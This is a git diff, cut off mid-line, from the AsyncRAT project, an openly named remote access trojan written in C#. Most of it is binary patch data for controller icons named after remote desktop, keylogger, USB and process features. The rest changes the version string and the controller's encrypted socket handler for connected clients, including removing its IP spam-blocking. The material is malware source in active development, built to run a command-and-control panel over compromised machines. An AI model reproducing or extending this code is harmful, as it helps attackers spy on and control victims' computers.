zdyL4I*w`mFTo7{H^Nye?Is16dc2lh?hb;GF?hQ0vL&98&k(0INE;qML8htZ&f+s@0 zCzmLBi=95dO{c#+qTWwZ=8*4(tqkvIup)2P8pCge^F!xIdLC*l&J0=o@{|$V+hpjuLx#jueaTe@R&Sy0F84g4XX(+%KG>6DsS4J# z-hPxBvuW)sw)P25j)7Ker(HdV^LH3rI`y$Ghh5AA z38c_lSF+ar#Fs5z(n)@7yjslnWUn;8BB!K`w@{obAPo}(QEq(Yb>Heaib%N6QoB1d zM5L9&_VqSCai=GpZ|WZTCB<^bmw}WW6*dX{P)|Ou@?-SbO!dIt?>5Z2G znQ-&(4j0-lUe%7^{$XyhZ~r!;!OMnl2lak~skEO`JPXzo(B;dsoP6_xE4=qB(mXa; zY5OhRPo5m~4qAKb20zvf<4PyJ_68aIS0$^nIcn5>@!N~LQnV!;eSeV_hFkw{nPVlg literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/client.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/client.png new file mode 100644 index 0000000000000000000000000000000000000000..b8987c12deb3808134a2239ada2b2b4ce04c2a4f GIT binary patch literal 1173 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE0wix1Z>k4UEa{HEjtmSN`?>!lvVtU&J%W50 z7^>757#dm_7=8hT8eT9klo~KFyh>nTu$sZZAYL$MSD+10f+@+{-GzZ+Rj;xUkjGiz z5m^kh={g8AI%&+V01C2~c>21sKW32?VYR-q7sn8f<5REXXIw26IsWnb z-rINX?BBN0(0F;CcY5ES;1!E+=FF1PbQJ3F5()aEqH;n`)V61l`XmlX+sy|8JbrIi z^*y8GDm`n~?3pi1cC9QnfBrA_{oTE`8UNqiomFyf^XK1lzP~Rx_g&`LW*<|#;@FxC z`L~jn&iS~cu`tOvXWPBN`#W{IL{!68e(jyBw`0BU*FH9B(UVimUQ8CP^4t4;it6d$ zV>7!x*TD%T@}8%V=3DlLFu^yK1?teFyizLTb&5ZoHn zWy?81N8dwuVrE*B{3OQ8qN%f1N4LtGyc7vvaER-($ct;5^^drML^X>-7Pp#pz7U(P z>wD+BR_Mt|W`+t1u9N%!uDh7L?6lj7Q1!pdLi#p6IjGM3qQGnM0f)G%vpG(Q3Ak^U*c7s3xvHV!PtEUI+Z@hB7FwFE*yOM@Ez$9O z#IqI6ot!8AXF8v&zG%aea{GZQYm>(JuG4&7yVsxHdRgu1IN{i6Nl{6V_k z8-^N?H5#9waPu_SKw?Wir49&3&Bcp1%R=1zb7%W-~8DBF|DQ#Fp|E+MPJ z-nVEhvicICb9~}LHM^Hn?AxzDnV0r_@3UzQxrgtFguQ{kO$>`m^(G#Vm8%g{#~(lNSA#+rCje z^98^7)@Wt%rTa=8&n)ITvi0Qz+ak&T+zxFkzg39mS4Oni%nt3o`Fg`mtI3Qj)ja(f zp3HtMoH*ypnwng@t^RjRx5rF-`0`={qp?m=dPvm;2OC7#SE^>Kd5n8d-)I zT38vFTA5mE8yHy`7$jwWnU10%H$NpatrE8eVG|#1paw~h4Z-BuF?hQAxvXk4UEa{HEjtmSN`?>!lvVtU&J%W50 z7^>757#dm_7=8hT8eT9klo~KFyh>nTu$sZZAYL$MSD+10f+@+{-GzZ+Rj;xUkjGiz z5n0T@z;^_M8K-LVNdpDhOFVsD*&nmWif}QpSY`k%W)$~yaSZV|{&tG3w^N|Zv3hm= zxEfCBXr7Ynq6sH1p7p=*BK<=!OI@o%)KXP}gP|7;HMN?|WLcaKc`I}&K1}(3wEF8F z7Tv$wKR=&yzjEI5Jq?MRUQ0}``&BX=?AfNaz=FaS_-UnIvy!22hsrz2`rya8+uMBE`uZ5>EMS_Q^`Pqh$Aw7; zmAc<<7D)G(jQVl;`5*otj53#(x8FH05+qhBq!aOy`Plxc2PaMW^ve0!y6@6fHd;(w zG2G`r%n^1yFrj)gLxbrlJ44HFRvw^$RV{IiC`m~yNwrEYN(E93Mh1qKx&|h?MwTIl z7FLD^Rt84e21Zr}2K<`4dQmjw=BH$)RpQoASHffn)F276Aviy+q&%@Gm7%=6TrV>( dyEr+qAXP8FD1G)j8!4b722WQ%mvv4FO#l+c$`b$p literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/info.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/info.png new file mode 100644 index 0000000000000000000000000000000000000000..0cf80900208fcecad7f3898edf3c72f9128b16b5 GIT binary patch literal 1114 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE0wix1Z>k4UEa{HEjtmSN`?>!lvVtU&J%W50 z7^>757#dm_7=8hT8eT9klo~KFyh>nTu$sZZAYL$MSD+10f+@+{-GzZ+Rj;xUkjGiz z5m^kh={g8AI%&+V01C2~c>21sKW33*G}FD}{0Jz=tl{b67~*lf_v(HBtECd`AFltL zcUZxt;HafuxZ(CcGr3fGnPx{h-QAG5E_3V6lG2BBqrb;~<*#_VtoU?gpmuus3)h5% zW!n}gT`rjNps83!#zo+%yZC{J)pa}XmCt|wx#r&e=b!8B=RX&o*x#`uHtK5iNvWRS z$4zB-sp>vaPgh=cPw=1EE$FhvD(hPLIw{ks;W;ilTikM)mdC{Oxf?&^moa zMzPeLSF1RlxZi5|`NKU@ueVqy^ouVw5eK4;cvC}uI`p$K3A*3?G`TatB5|^PN&2<9dAC#qPkHQq zwM|*6v1NO0w#w;kk>#a&)3%3vnGm!za$b)`{`^-nVwZiHb&8Ac=c$s6SS7`|Ut2Zz z&$uR&arLpI-)*1W={i^LS?83y8)>H>Tq3`ft?ZTQVhgW5kBXhwwP@&mby@$*p?Av8 zQi- z7T;YxtvtNST6(fServJ_o|o2J72tCx;lVChSJMuSk2_v4dSBfs_ToZH>Aj5TYddfA z-&EFd*%!5#Pl#qSBHE2)zT%KP2wk%QPt_g>G({)KjnPWiFte%Z?1JwL4K zgL!h=3)W?uF^DFFVw(WQIIjbU82Oey`J8;lQ<#tE)_}MNBYzv5U`k=5)oD z{|u)d|8#%a!C8<`)MX5lF!N|bSQrEyl*T^!&$k@u%#LC1}+rY@m zz#u2?a3zX{-29Zxv`X9>WSOgv0yRj2YzWRzD=AMbN@XZ7FW1Y=%Pvk%EJ)SMFG`>N S&PEETh{4m<&t;ucLK6V^w&lhE literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/logger.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/logger.png new file mode 100644 index 0000000000000000000000000000000000000000..1e786d9ef7264d080c26ca69b6d40628375056da GIT binary patch literal 570 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE0wix1Z>k4UEa{HEjtmSN`?>!lvVtU&J%W50 z7^>757#dm_7=8hT8eT9klo~KFyh>nTu$sZZAYL$MSD+10f+@+{-GzZ+Rj;xUkjGiz z5n0T@z;^_M8K-LVNdpDhOFVsD*&nmWig5DoU#%9#z`)4i>EamTas2L7-@HQx0&eo6 zkGMiz_dMeZheK63$BS%1{L03n6qgtz|!X$2o_l6Kka#@Ouzbt z#1nEKdraToxo|*wPS5@54%tKMS68`kH2Fu0N!!h0oWmh|pm7B=hj+(RxeMC`vK)^7 zGY{S1+{>6->hk)a$nfM%$T8R%TV{@G`H50|Mm;s@E))E&Dk7#Em}UI$zZYf z0hz=%CoV8|2sW9BD_&ym(wmvC{n9)`amwn|Z@NJoPPHqt58s?xDP`a~LpUKqq30FT zy57adHOtwXtgi3aV%4AM<8nm9)@!46?$2xGD&FTm%=mU7T)5@+^Ho9ZjJtm`ivLLc z9%h)qVh;=^)e_f;l9a@fRIB8oR3OD*WMF8iYha>lWEo;;VP#-xWoWEzU}R-r5Rvb? z7DYpDeoAIqC2kFxMt=o?8YDqB1m~xflqVLYGL)B>>t*I;7bhncr0V4trO$q6BL!5% N;OXk;vd$@?2>@rb!Hxg` literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/msgbox.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/msgbox.png new file mode 100644 index 0000000000000000000000000000000000000000..c976df7fd07b0d6e951bf1a983a0c18752cdfb64 GIT binary patch literal 693 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE0wix1Z>k4UEa{HEjtmSN`?>!lvVtU&J%W50 z7^>757#dm_7=8hT8eT9klo~KFyh>nTu$sZZAYL$MSD+10f+@+{-GzZ+Rj;xUkjGiz z5n0T@z;^_M8K-LVNdpDhOFVsD*&nmWittIkGDvyDz`)q->EamTas2HSU+<7aiT028 zXBws}sZRIw%~fjd>Pir^yuclyd&c#FQpUn{hkD~3?Hjt83d3h}G$~9_Q0iJR-M5?L zPDfr^NXe|ir>lCGw>GaZetu@==AM76fA6bY*WLcSt^Ge|L6oOISK00G)s2PzwV%{m z6`pVN3=27PvaBcl?8=Bl_x1%uqH zPhEaQo}PDNLp+0U-R_%W`|~cREVffg@Ho3Tq9)|*hq&u14<>cJ^r$(tEBp5^F($uX zFJ~(I7F^ron$CA7itEMKbL_|Y&s6RC8hC%GUFvJ4aT<@wuIN{CTZC;wj3ss+TeNDU z#ld9hbseW!vzIMmDW5v`vL5rPcU#1s%=&i6sk4UEa{HEjtmSN`?>!lvVtU&J%W50 z7^>757#dm_7=8hT8eT9klo~KFyh>nTu$sZZAYL$MSD+10f+@+{-GzZ+Rj;xUkjGiz z5m^kh={g8AI%&+V01C2~c>21sKW33*Qqgvw)S1D+z#Q)B;uzv_y!EPg&XrIRwh#Bu z{1G+Y62Rh>S<&j^z_VbQlkXLY3saIBw~5?7RC4HoUo4NV@m$TC)5YihzWe#kwtqrQi%50cRHMxz z3*BcMC-uEFnj$@?*J0<`Rid4{7aaDrS$Bjfa4+BL;$sJHuyp5ax;0^P(z#d083KZW z!nUhV6}SCab8n|jCHKmU3yzwH%~}~?aauYoW7*VwS06RJ`YrD6*0(-<^#!}qStZ_m zLDniO{dcDoKGovkNjLNfSR59#mo4|56nFXEE32+MdB=YLUfbllO*7=Zc&uF8?R6ee zX^q9ZF0nM`PP@Ha@$nCf;1-q7K`JF2AyV(nS8`1IeWS4SmYdU}Q+ty)Zde^usqtvn z*^gb9Zz((38K2JcmAvJ>=JP)FGs2fv+HbE>QCVYfa(&{_RdcVbu|FKUAY{9|OKsNb zqKk8yUSEGRMRb|lm5R%GXCteYR~}3@%LvNqRX=)nl7y<7>W5vM6Q@47c6EAThJ(d%iIyjf>A zTwlnO?XvNn!|F%v0%tyVPT%_T!o@XloFdu0CQ*w$j!XRiu%bNINx zbv#G*JeB;vYie=DoTFKLUo4vIx7%vf)??bjqTDi<7hifG$)efpl^dS7?7i&8Da+;6 zR$hDTvfy;0e&izS#nO4%<~O6nbIPx5wfVG2Eb`q1X~8=mW-*=3>)XM8wJZt=iI)mdlBXdA&Mud-}|i{@YJkX;#ni3J;e0FR|f@QDa`G;q#&^G5I$Xo?5eC zUiRCx;#?_r$SmcDeN!6O9Ou>!Sac|Cb?mm|2NUzlifvLSUp?g4nR&%})2*iJ)oYzj z`M;Wb{>qeIhnd^2YFv6h>Gdu{*Uq1d{uM{eJ;ttkJ@NLG>esd3_I|CqDQS58?uoUX z{~0eVl;)993bq60I@J=_h?11Vl2ohYqEsNoU}RuuscT@OYitl=U|?lzW@TcmZD3?& zVDNN%<6#sHx%nxXX_dG&OnGGqDmElRHU#IVm6RtIr81P4m+NKbWfvzW7NqLs7p2dB SXCnnv#Ng@b=d#Wzp$PyXBL1QP literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/process.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/process.png new file mode 100644 index 0000000000000000000000000000000000000000..09ddb306777ad83692db937dff2fba5617de40f4 GIT binary patch literal 1251 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE0wix1Z>k4UEa{HEjtmSN`?>!lvVtU&J%W50 z7^>757#dm_7=8hT8eT9klo~KFyh>nTu$sZZAYL$MSD+10f+@+{-GzZ+Rj;xUkjGiz z5m^kh={g8AI%&+V01C2~c>21sKW32?;Zm{>_c+7Az`W7Z#WBR=_|&VX^QWYWuzk3{ zB|hCNQ}eRf5?zzEO}QZjY_m?e3i)s_Hs$nAaS_XSH0=oYKUNo&HFq~m@K9B22o&;c z(9q&&ipqN`#FXn5t*~Y3G{5}IlH#8WvjxB8+{-V#_q_UC@x0G+YVMuix87Xu*yt7> zvn`-;dhP17)m`e#-Ip<_tPv@WKawXe;ohj9Gbu3VN?`hYAAY$y*Rvwdy+MZ;X?iznnX%?O3Yu=>fYP5-|R;x$p**c?4!OEZ@4U;8DH@fpInl-oZ zALFZH<*Y{DI^%B)3hQoEE>Ahgoo2n<<&xt1hjUD$c)fPKbUR`F$hUC&N#@HvQrzo< zvu7HahMk-~WlH{3si)Ic@fvS(>z(y&Nyp9=+ipaaYE6lF;_SO(Q^=VGODZ4vy{y~B zt@>=$>4k|KpXR-qaBaEwt;{90`ns=Y94M0Eh*UpYqWhsQNOaj_*R9ufX6~L?FS!0f z*y}r&8(&VV@JvqVUe7bjVXIoHRgcE^RTjr&!`FMU{MCD9y3lWOp{6jKYc6MunSxex z*xOS}KX&=|bVwAPH7b97 z`1^jIdwxmiRPMF60rSK(!+RAnC#wd}F|7PCtsg!7~J07@cJd)DZE&ni+AuwOF_=xV_vZpR{vU{^qf1HkWRcv0F z>gvQ+f9v%!uhdzkzZEx}4YYlh6fm7J@=tDC?ZYL{l$5g=BAIvbt}(ZXypSS$#>F^cT&-;fi2-sJ)ytMOl_@e9Q z4#a)Fvhrx@^|N2v`h7jRIeIuJh)ta)dLsPI0(n96Criq%f4Xyh)zyL@{lR^+lUs|n zUgI{&6pC0Mwo~-kkE<&UiX&EseOLdz?l$A!xbMAQi_30w*rxrwm7D+ju7B{_nazm0Xkxq!^403@vpHOmvMbLkumf3=OP|O|%V+tPBhum34%mXvob^$xN%n ztzojZ0kEK9kObKfoS#-wo>-L1P+nfHmzkGcoSayYs+V7sKKq@G6i^X^r>mdKI;Vst E0N3aeVE_OC literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/remotedesktop.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/remotedesktop.png new file mode 100644 index 0000000000000000000000000000000000000000..60ba5382dca613eaad60c4381d0c4235438a0472 GIT binary patch literal 674 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE0wix1Z>k4UEa{HEjtmSN`?>!lvVtU&J%W50 z7^>757#dm_7=8hT8eT9klo~KFyh>nTu$sZZAYL$MSD+10f+@+{-GzZ+Rj;xUkjGiz z5n0T@z;^_M8K-LVNdpDhOFVsD*&nmWif{y~kk(kz@56 zC9f!5IjH*RimS*jk(gMPg(ZaoTdiI^coHJga>h;I%Gr~S>=)1J=>^4zia5I7Wm)-P z|F#6t7PIFGx@%9WzJ0p;>AmXv-=98>EfNrrGH6)1;#?v3>JEl%*TqK^rMqNxCSKtz zKD%?#LD9*%j_oh<4SdQ4nqB=oR!J|3R6o3LmE$a5qcZ`FkG^cl3efj2Jhi4r!yxu) z6SEV8PvEnTGVy7h1?DeYH$=aF=cvRkyl}Tz(UF};*0~jOZQaYfOQk+=d;NEb5@GpC z{7lj>9Ht1mmWr6TeBj%5BQWIr#s$p&a^DXs6ezFlJJtV@U#!V+fB1((TmJLJc?1N` zacoMTp|HM2{ki0IhTe|D)$>e${aE9cC>NP_`=Hjpe?Co3i&ZvMKHV)}$cBg+s&3o8Q)D?>|d z10yQ~1L3=ccTqIt=BH$)RpQo=)NnEps6i5BLvVgtNqJ&XDnogBxn5>oc5!lIL8@MU VQTpt6Hc~)E44$rjF6*2UngEh9`Fj8W literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/stop (1).png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/stop (1).png new file mode 100644 index 0000000000000000000000000000000000000000..7aa0e8a29a826cf635ce413316ae775afdb2b173 GIT binary patch literal 1095 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE0wix1Z>k4UEa{HEjtmSN`?>!lvVtU&J%W50 z7^>757#dm_7=8hT8eT9klo~KFyh>nTu$sZZAYL$MSD+10f+@+{-GzZ+Rj;xUkjGiz z5m^kh={g8AI%&+V01C2~c>21sKW33*QnAuiS~-h>fmzhk#WBR=_|mJV^RI-8uzxuJ z=UIFIz7;{UW_6gRI%c46X>A8s$1k&q6Wr=S7y?r5V#dPTr9n6t+e|D{J%i zEfvwnEMwcuEVg%;*{=J2$?oY?~#vFmru zk^@iGHb1-49T{hPRLgPpVzJVfg~unkC!U;==xP1d^ikTpgzd>*r7un270xKVzKCsW zTaUd8hwSASOXlTNgv{hhWmVpw)6BZq>1@|u1=&S$yS=M=o4gEpPnq4YUK&5&u;<0r z(~S3bNOirKQh3T%vL(qb`0cWzr4P^FSa(wVT=c}k@a<}Ie>qQ$s?EP(qj7OT)b@98 zZ2FVhWv)F~r1FgS)#rU{7nbLKn>%w&^va^`bBaoxm%a&H=Og6PZM{PCLe9DK&x-s6 zz5m@Y_|HAfrATO&aYCH;f^+YKF7?;$`|9DnYoT61?wM1;?T5PpuQqP_?`V)#ykNtU z`7(k`n$g9gA4@t`P2u5L{imO0q1WL?#`T)<;eY*`9A?T2HSS2N7D=COY-CoMcX-0{ z+({?@3LkwX(%G&z`{J8P>9hEjSs#-#?y$bEJiMgx%&Y59 zHkfmFy^Oql_gcP~$j!AEx2r9hQ4rAS7<^(z+4(K(%dYowa^C%QMrqM8^|)_4e=7=| zyP3X!ioL6brCl0Q;x#r0#nF}x0WUpR!eQud+yRQF~|GIrU7TrGAp44DyoKzNN z5;bAZ){cskb@E=;>-7B(=$`(TB`|BthZFTXJ$m_TblzsC%jrEewMcPUo3=jc!}OAG z%x6z8bD28Bf9vkIJB(Lf+uFLtyS=Q@u8?`s&TC?6(a}D)B4g|RKA(F{Ddc&F+0$ot z4U&XJSG@^Hxy7o^^C!AEHg@%iZQozzRPWbSeAm@^=-WSY7D?_EUrqKd0OlFh64!{5 zl*E!$tK_0oAjM#0U}&jpV4`bm5Mp3pWo%|;YN2glWMyEWEp>G{iiX_$l+3hB+!~_X zbESbABtbR==ckpFCl;kLl$V$5W#(lUCnpx9>g5-u&wghk1ysb~>FVdQ&MBb@011BH A0{{R3 literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/tomem.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/tomem.png new file mode 100644 index 0000000000000000000000000000000000000000..9faa447c475a5b8bc8943a53858cbffe7e852ad6 GIT binary patch literal 992 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE0wix1Z>k4UEa{HEjtmSN`?>!lvVtU&J%W50 z7^>757#dm_7=8hT8eT9klo~KFyh>nTu$sZZAYL$MSD+10f+@+{-GzZ+Rj;xUkjGiz z5m^kh={g8AI%&+V01C2~c>21sKW32?Vb}hw+NTQCw9eDTF~sBe+$*_0S4&0MKb+tD zFaLmR+a#{;Ns56XexIdQ-*YtGo^v*6i{iDYoR?M6(fKvkqtl~e}Nm%TzPjM6lE2#$(yXESQva%=#JvkFzz;A@ykplvo~Cq+j>;!OZD-d z+Ok!8eF`hXx4Zh^T)0YtX_;(s$jarp+dsW3o^aT7jnmrMAzfOcmo%7;)vWSq_cPx2 zH9fDXBWwHa%WCD3t6e%pmi=L^``lTy+cy1}XZ`>A3B79kl`eBVC$q&&^Vlu9m4mHT zky2XR)WIyXAzOiwpX4XkZ40~_BmMz*Ge&p!hwUv^Y&PjIVC*5x< z$F9A-W3$y1QG8|@?uR~V`=qdF)J{Nr; zcixt}=kI+;j{4x>bINk_f*_yOGpa=Ox^`zcU5bmICbi~rUVCEu9Iw~@340}lpRtE4QhW#ITx!-%=*2f#W0TZ)oiEBhjN@7W>RdP`( zkYX@0FtpS)Fwr%#3^BB@GBCF?G1fLPvNAB>bE~dG(U6;;l9^VCTSL9{;bTAzk{}y` s^V3So6N^$A%FE03GV`*FlM@S4_413-XTP(N0xDwgboFyt=akR{04(XB?*IS* literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/tomem1.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/tomem1.png new file mode 100644 index 0000000000000000000000000000000000000000..9faa447c475a5b8bc8943a53858cbffe7e852ad6 GIT binary patch literal 992 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE0wix1Z>k4UEa{HEjtmSN`?>!lvVtU&J%W50 z7^>757#dm_7=8hT8eT9klo~KFyh>nTu$sZZAYL$MSD+10f+@+{-GzZ+Rj;xUkjGiz z5m^kh={g8AI%&+V01C2~c>21sKW32?Vb}hw+NTQCw9eDTF~sBe+$*_0S4&0MKb+tD zFaLmR+a#{;Ns56XexIdQ-*YtGo^v*6i{iDYoR?M6(fKvkqtl~e}Nm%TzPjM6lE2#$(yXESQva%=#JvkFzz;A@ykplvo~Cq+j>;!OZD-d z+Ok!8eF`hXx4Zh^T)0YtX_;(s$jarp+dsW3o^aT7jnmrMAzfOcmo%7;)vWSq_cPx2 zH9fDXBWwHa%WCD3t6e%pmi=L^``lTy+cy1}XZ`>A3B79kl`eBVC$q&&^Vlu9m4mHT zky2XR)WIyXAzOiwpX4XkZ40~_BmMz*Ge&p!hwUv^Y&PjIVC*5x< z$F9A-W3$y1QG8|@?uR~V`=qdF)J{Nr; zcixt}=kI+;j{4x>bINk_f*_yOGpa=Ox^`zcU5bmICbi~rUVCEu9Iw~@340}lpRtE4QhW#ITx!-%=*2f#W0TZ)oiEBhjN@7W>RdP`( zkYX@0FtpS)Fwr%#3^BB@GBCF?G1fLPvNAB>bE~dG(U6;;l9^VCTSL9{;bTAzk{}y` s^V3So6N^$A%FE03GV`*FlM@S4_413-XTP(N0xDwgboFyt=akR{04(XB?*IS* literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/usb.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/usb.png new file mode 100644 index 0000000000000000000000000000000000000000..6add42c5e34d97ef5d7409a7ed16a7bf3acf6883 GIT binary patch literal 937 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE0wix1Z>k4UEa{HEjtmSN`?>!lvVtU&J%W50 z7^>757#dm_7=8hT8eT9klo~KFyh>nTu$sZZAYL$MSD+10f+@+{-GzZ+Rj;xUkjGiz z5m^kh={g8AI%&+V01C2~c>21sKW32?;g+vcF`Wa{RPO2G7~*k!>Xp;kA?XswKc2Tt zekUCKSU2I#meB00u7=%R3lw$*=-fzh^^$hsikA8qb`uhn}mykfg+*>BG%)kUmoG9`yx z)_&f@azKrl&2~*-`0eLA7yf78@?uhX{6@F^x%=P!x_pR5HDDcgdX(xxYr|Ft*KW~$ z(>`yWBd=R{$hK2V?ewlSrU{FC@^-H=S+LyFAu@1!7^|x4drd7>>vP!*Cw4#Hpqaev zPtrc=ICFN5$|o<*d@tM_q5GhAb?qzX`RYH?e5#VJT&_5}c-pt6yir@Fy%}_jS3X!} zFCuj}VP(&LneGSH6Z(0+nuoobn#+K-eQ|yqj-2GJV zoI{ZebIUYlZi{_>XScxCJ;mENVkYFj5!rvxTlv_9#OZ<8YaXo9mNS`ksOrFu;I@m3 zZ})kJHH!W#IhTI&<*}o6)wu_yBV(`a;IsQSKW^{GSL)1GI@g*PvHR_Mnjdm!Lh;SR zEwX{^94$;CJ`x{K`f&aI#asO>*EsgX&bMpc*S3`Q?Y{9QTj#XZvzd-_%8u?o`;OUb zQ`?$gLzCMwXY5YZ8bv%h8RNcFXTqv~OKVlvCu}cakvcNDlR3`YwXA--E#J?p^Hzzy z5Sx`V=McAR_nGfm%eeegTQ*%a7JuH;e5h3QpL2Wo-7HKih4w z;>W3O{f?{uq`91nZqd^6c)8`;_IH+2{)(Z@Gd|rY`rQ(@Aa=Id+go3M9x8A9`!3aH z!8f)GX?y>gyq!6e<5@bVgep*R+ nVo@qXd3m{BW?pu2a$-TMUVc&f>~}U&Kt&9mu6{1-oD!MT>5iMWVPhL&N#=cHqit>sk(aWBN>tm(QO3+L z7K$TQs_R8Xr4PE~rJKB*m($C2ZvMPK?vLmDe7?`~eLl~BUw$9~qo-q{0|0;?4vQwK z*>V%wAoUz&%d^!4iub~M0YGc1?%!0cO*0xx!UF)$4ghlU0pPP*%6Sg}sW1RgMFIfw zG5{E*h;9;5YC|*14}%5(N%0)=#;;AG;(OB9 z_O(~F@4wo)|8!Gb(@5T!Jc(8e%eJkto)Zej)hO-h#ZK{%bV#{m+BpJz{+jrHzPnRk(^oWTyemz0s}ST>vQxL5D2OJI`F zKy3Dm{!8gRu`qFBncq7_sU7n;Mo;UGeF$q%Ok7&Mo+p6t2Ccr7<6cAQiZ+#qdk59H zdUN^OkFV^S>(`r*l{$>&A(!!rw?>zof_@hyz7BW2?`v#wO0|=qD{Z|WRc2%3zuY}4 zY2W%(QI8mm+O_6;Ii~f|3zVY?WK{AP{^?)}v6mzk851jA2@U702ErYJsx%vk>fHtjM&PYXBj$@ zT$rL!o&2-q%Z*tss^iD{8%^9W`SU5^JrP4q0cBeR{zhd@`iuoScfj9twF}G>ar<}d z-81Rf)3~QHvBH@2&+xRST)E^!>Au6$lCS3M0MGB%ZRCsxf2Ey7z58x%`Plnss<1BF zi&;sW-#~~2cNOUB7o0t1XO*roM`Q%Q%A8%(x@%_DfidiKPV(*hJRMp(OR^YXrv2cd3 z%YOj(3me^ z2C-f5@Wm8cd@xPnv)uj%i(E82cDQyRCteC8Kd8<|!3YH}vu5Hz;>the;JaZ7l6>8& z)Q3Aa?p-MD;T5mfXi;pX}W~phvv71p&uAUV}bEC^DfaPj_VH( zj33Vsee8Xbs!dIgXz^~)^hn^2d-Q(7H{RZBw4tl*7Thn~IMAv754IeiP)-b$6N`*y z#i|KFz~COvFgIs}M-bc{2|IvhCLb)hj6+0oRLSeIm0yl??!qCNs}J_NMPJ2LlQfxk`` literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs index 2ea73c2..37713f0 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs @@ -12,8 +12,8 @@ namespace AsyncRAT_Sharp public static long Sent { get; set; } public static long Received { get; set; } public static string Password { get; set; } - public static Aes256 aes256{ get; set; } + public static Aes256 AES{ get; set; } - public static readonly string Version = "AsyncRAT 0.4.1"; + public static readonly string Version = "AsyncRAT 0.4.2"; } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index 9ff3db8..b863b16 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -7,6 +7,7 @@ using System.Security.Cryptography; using System.Drawing; using System.Diagnostics; using System.Threading; +using AsyncRAT_Sharp.MessagePack; namespace AsyncRAT_Sharp.Sockets { @@ -14,50 +15,21 @@ namespace AsyncRAT_Sharp.Sockets { public Socket ClientSocket { get; set; } public ListViewItem LV { get; set; } + public ListViewItem LV2 { get; set; } public string ID { get; set; } - - private byte[] ClientBuffer; - private int ClientBuffersize; - private bool ClientBufferRecevied; - private MemoryStream ClientMS; - private object SendSync; - private object EndSendSync; - public int BytesRecevied; + private byte[] ClientBuffer { get; set; } + private int ClientBuffersize { get; set; } + private bool ClientBufferRecevied { get; set; } + private MemoryStream ClientMS { get; set; } + public object SendSync { get; } = new object(); + private object EndSendSync { get; } = new object(); + public int BytesRecevied { get; set; } public Clients(Socket socket) { - if (Settings.Blocked.Contains(socket.RemoteEndPoint.ToString().Split(':')[0])) - { - Disconnected(); - return; - } - - int count = 0; - lock (Settings.Online) - { - foreach (Clients client in Settings.Online) - { - if (client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0] == socket.RemoteEndPoint.ToString().Split(':')[0]) - count++; - } - } - - if (count >= 5) - { - Settings.Blocked.Add(socket.RemoteEndPoint.ToString().Split(':')[0]); - HandleLogs.Addmsg($"Client {socket.RemoteEndPoint.ToString().Split(':')[0]} tried to spam, IP blocked", Color.Red); - Disconnected(); - return; - } - ClientSocket = socket; ClientBuffer = new byte[4]; - ClientBufferRecevied = false; ClientMS = new MemoryStream(); - LV = null; - SendSync = new object(); - EndSendSync = new object(); - BytesRecevied = 0; ClientSocket.BeginReceive(ClientBuffer, 0, ClientBuffer.Length, SocketFlags.None, ReadClientData, null); } @@ -75,7 +47,7 @@ namespace AsyncRAT_Sharp.Sockets int Recevied = ClientSocket.EndReceive(ar); if (Recevied > 0) { - if (ClientBufferRecevied == false) + if (!ClientBufferRecevied) { await ClientMS.WriteAsync(ClientBuffer, 0, ClientBuffer.Length); ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0); @@ -97,7 +69,7 @@ namespace AsyncRAT_Sharp.Sockets { try { - ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(ClientMS.ToArray()), this }); + ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.AES.Decrypt(ClientMS.ToArray()), this }); } catch (CryptographicException) { @@ -160,20 +132,15 @@ namespace AsyncRAT_Sharp.Sockets { lock (SendSync) { - if (ClientSocket == null) - { - Disconnected(); - return; - } - if (!ClientSocket.Connected) - { - Disconnected(); - return; - } - try { - byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs); + if (!ClientSocket.Connected) + { + Disconnected(); + return; + } + + byte[] buffer = Settings.AES.Encrypt((byte[])Msgs); byte[] 